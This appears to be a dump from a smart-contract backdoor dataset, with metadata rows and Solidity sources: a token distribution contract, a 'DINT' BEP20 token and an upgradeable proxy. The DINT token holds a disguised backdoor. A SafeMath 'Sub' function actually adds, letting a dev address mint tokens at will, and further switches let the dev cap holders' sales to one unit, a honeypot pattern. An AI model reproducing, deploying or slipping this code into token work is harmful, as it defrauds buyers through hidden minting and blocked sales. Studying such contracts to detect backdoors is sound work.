require(_window <= MAX_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW,
"Atomic volatility consideration window exceed maximum 1 day");
}
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_window);
}
function setAtomicVolatilityUpdateThreshold(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _threshold) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_threshold);
}
function setPureChainlinkPriceForAtomicSwapsEnabled(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
bool _enabled) external {
flexibleStorage.setBoolValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_enabled);
}
function setCrossChainSynthTransferEnabled(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _value) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, keccak256(abi.encodePacked(settingName, _currencyKey)), _value);
}
function setExchangeMaxDynamicFee(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint maxFee) external {
require(maxFee != 0, "Max dynamic fee cannot be 0");
require(maxFee <= MAX_EXCHANGE_FEE_RATE, "MAX_EXCHANGE_FEE_RATE exceeded");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, maxFee);
}
}
| 151,160 | 385 |
66f927b9c19ec9b6c98c3a96664d6a739e88ce54a5f9e74cf34ed55b7b42a579
| 14,264 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x3ca53621001e34786d63311691ace2203cab61e8.sol
| 3,084 | 12,954 |
pragma solidity ^0.4.18;
// File: contracts/interface/Controlled.sol
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
function Controlled() public { controller = msg.sender; }
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
// File: contracts/interface/Burnable.sol
/// @dev Burnable introduces a burner role, which could be used to destroy
/// tokens. The burner address could be changed by himself.
contract Burnable is Controlled {
address public burner;
/// @notice The function with this modifier could be called by a controller
/// as well as by a burner. But burner could use the onlt his/her address as
/// a target.
modifier onlyControllerOrBurner(address target) {
assert(msg.sender == controller || (msg.sender == burner && msg.sender == target));
_;
}
modifier onlyBurner {
assert(msg.sender == burner);
_;
}
/// Contract creator become a burner by default
function Burnable() public { burner = msg.sender;}
/// @notice Change a burner address
/// @param _newBurner The new burner address
function changeBurner(address _newBurner) public onlyBurner {
burner = _newBurner;
}
}
// File: contracts/interface/ERC20Token.sol
// @dev Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
contract ERC20Token {
/// total amount of tokens
function totalSupply() public view returns (uint256 balance);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// File: contracts/interface/MiniMeTokenI.sol
/// @dev MiniMeToken interface. Using this interface instead of whole contracts
/// will reduce contract sise and gas cost
contract MiniMeTokenI is ERC20Token, Burnable {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = "MMT_0.1"; //An arbitrary versioning scheme
///////////////////
// ERC20 Methods
///////////////////
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender,
uint256 _amount,
bytes _extraData) public returns (bool success);
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner,
uint _blockNumber) public constant returns (uint);
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint _blockNumber) public constant returns(uint);
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function mintTokens(address _owner, uint _amount) public returns (bool);
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount) public returns (bool);
/////////////////
// Finalize
////////////////
function finalize() public;
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) public;
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
}
// File: contracts/interface/TokenController.sol
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyMintTokens(address _owner,
uint _amount,
bytes32 _paidTxID) public returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
// File: contracts/Distribution.sol
contract Distribution is Controlled, TokenController {
/// Record tx details for each minting operation
struct Transaction {
uint256 amount;
bytes32 paidTxID;
}
MiniMeTokenI public token;
address public reserveWallet; // Team's wallet address
uint256 public totalSupplyCap; // Total Token supply to be generated
uint256 public totalReserve; // A number of tokens to reserve for the team/bonuses
uint256 public finalizedBlock;
/// Record all transaction details for all minting operations
mapping (address => Transaction[]) allTransactions;
/// @param _token Address of the SEN token contract
/// the contribution finalizes.
/// @param _reserveWallet Team's wallet address to distribute reserved pool
/// @param _totalSupplyCap Maximum amount of tokens to generate during the contribution
/// @param _totalReserve A number of tokens to reserve for the team/bonuses
function Distribution(address _token,
address _reserveWallet,
uint256 _totalSupplyCap,
uint256 _totalReserve) public onlyController
{
// Initialize only once
assert(address(token) == 0x0);
token = MiniMeTokenI(_token);
reserveWallet = _reserveWallet;
require(_totalReserve < _totalSupplyCap);
totalSupplyCap = _totalSupplyCap;
totalReserve = _totalReserve;
assert(token.totalSupply() == 0);
assert(token.decimals() == 18); // Same amount of decimals as ETH
}
function distributionCap() public constant returns (uint256) {
return totalSupplyCap - totalReserve;
}
/// @notice This method can be called the distribution cap is reached only
function finalize() public onlyController {
assert(token.totalSupply() >= distributionCap());
// Mint reserve pool
doMint(reserveWallet, totalReserve);
finalizedBlock = getBlockNumber();
token.finalize(); // Token becomes unmintable after this
// Distribution controller becomes a Token controller
token.changeController(controller);
Finalized();
}
//////////
// TokenController functions
//////////
function proxyMintTokens(address _th,
uint256 _amount,
bytes32 _paidTxID) public onlyController returns (bool)
{
require(_th != 0x0);
require(_amount + token.totalSupply() <= distributionCap());
doMint(_th, _amount);
addTransaction(allTransactions[_th],
_amount,
_paidTxID);
Purchase(_th,
_amount,
_paidTxID);
return true;
}
function onTransfer(address, address, uint256) public returns (bool) {
return false;
}
function onApprove(address, address, uint256) public returns (bool) {
return false;
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) public onlyController {
if (token.controller() == address(this)) {
token.claimTokens(_token);
}
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
ERC20Token otherToken = ERC20Token(_token);
uint256 balance = otherToken.balanceOf(this);
otherToken.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
//////////////////////////////////
// Minting tokens and oraclization
//////////////////////////////////
/// Total transaction count belong to an address
function totalTransactionCount(address _owner) public constant returns(uint) {
return allTransactions[_owner].length;
}
/// Query a transaction details by address and its index in transactions array
function getTransactionAtIndex(address _owner, uint index) public constant returns(uint256 _amount,
bytes32 _paidTxID) {
_amount = allTransactions[_owner][index].amount;
_paidTxID = allTransactions[_owner][index].paidTxID;
}
/// Save transaction details belong to an address
/// @param transactions all transactions belong to an address
/// @param _amount amount of tokens issued in the transaction
/// @param _paidTxID blockchain tx_hash
function addTransaction(Transaction[] storage transactions,
uint _amount,
bytes32 _paidTxID) internal
{
Transaction storage newTx = transactions[transactions.length++];
newTx.amount = _amount;
newTx.paidTxID = _paidTxID;
}
function doMint(address _th, uint256 _amount) internal {
assert(token.mintTokens(_th, _amount));
}
//////////
// Testing specific methods
//////////
/// @notice This function is overridden by the test Mocks.
function getBlockNumber() internal constant returns (uint256) { return block.number; }
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event Purchase(address indexed _owner,
uint256 _amount,
bytes32 _paidTxID);
event Finalized();
}
| 140,166 | 386 |
ca5c23a0fd32c4f5798edadb9b0bd57a540d6e037dd651af4d631fb075b4b6d9
| 22,593 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xEf53cC8FA3Bd4160332579600F4b30fA0413D998/contract.sol
| 3,436 | 13,269 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DINT is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**8 * 10**6;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 6;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**8 * 10**6;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function LiquidityTX(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**6;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 252,422 | 387 |
54db96deba0d5708cc51b4da4be5c2cac1d05678c038c5ef0a50df115119e3bb
| 31,789 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/cc/cc3603dd1f7b17cb9f6f0f3f5c65843cfe31de74_UtoolsMultiSenderProxy.sol
| 3,182 | 13,452 |
// SPDX-License-Identifier: MIT
//
//
//
//
//
//
pragma solidity ^0.8.17;
//
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(),
implementation,
0,
calldatasize(),
0,
0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
//
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
interface IBeacon {
function implementation() external view returns (address);
}
//
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot)
internal
pure
returns (AddressSlot storage r)
{
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot)
internal
pure
returns (BooleanSlot storage r)
{
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot)
internal
pure
returns (Bytes32Slot storage r)
{
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot)
internal
pure
returns (Uint256Slot storage r)
{
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
}
//
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT =
0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation),
"ERC1967: new implementation is not a contract");
StorageSlot
.getAddressSlot(_IMPLEMENTATION_SLOT)
.value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT,
"ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0),
"ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT =
0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(),
data);
}
}
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol)
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
_upgradeToAndCall(_logic, _data, false);
}
function _implementation()
internal
view
virtual
override
returns (address impl)
{
return ERC1967Upgrade._getImplementation();
}
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/transparent/TransparentUpgradeableProxy.sol)
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation()
external
ifAdmin
returns (address implementation_)
{
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(),
"TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
//
contract UtoolsMultiSenderProxy is TransparentUpgradeableProxy {
constructor(address _logic,uint256 _fee)
TransparentUpgradeableProxy(_logic,
tx.origin,
abi.encodeWithSignature("initialize(uint256)",
_fee))
{}
function _beforeFallback() internal override {}
}
| 127,724 | 388 |
88ca0b0ccf12fe169229aefabcb82965509b8dd8a5332637a5b0c0c44e47f610
